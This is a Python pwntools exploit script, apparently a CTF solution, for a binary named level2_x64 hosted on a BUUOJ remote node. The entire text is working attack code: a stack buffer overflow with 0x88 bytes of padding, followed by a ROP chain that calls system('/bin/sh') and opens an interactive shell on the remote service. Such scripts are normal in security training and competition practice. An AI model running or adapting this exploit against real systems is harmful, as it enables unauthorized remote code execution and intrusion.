exp
#!/usr/bin/env python3
# coding=utf-8
from pwn import *
context(log_level = 'debug')
proc_name = './level2_x64'
p =process(proc_name)
p = remote('node3.buuoj.cn', 25838)
elf = ELF(proc_name)
system_addr = elf.sym['system']
bin_sh_str = 0x600a90
pop_rdi_ret = 0x4006b3
payload = 'a'.encode() * (0x80 + 8) + p64(pop_rdi_ret) + p64(bin_sh_str) + p64(system_addr)
p.sendline(payload)
p.interactive()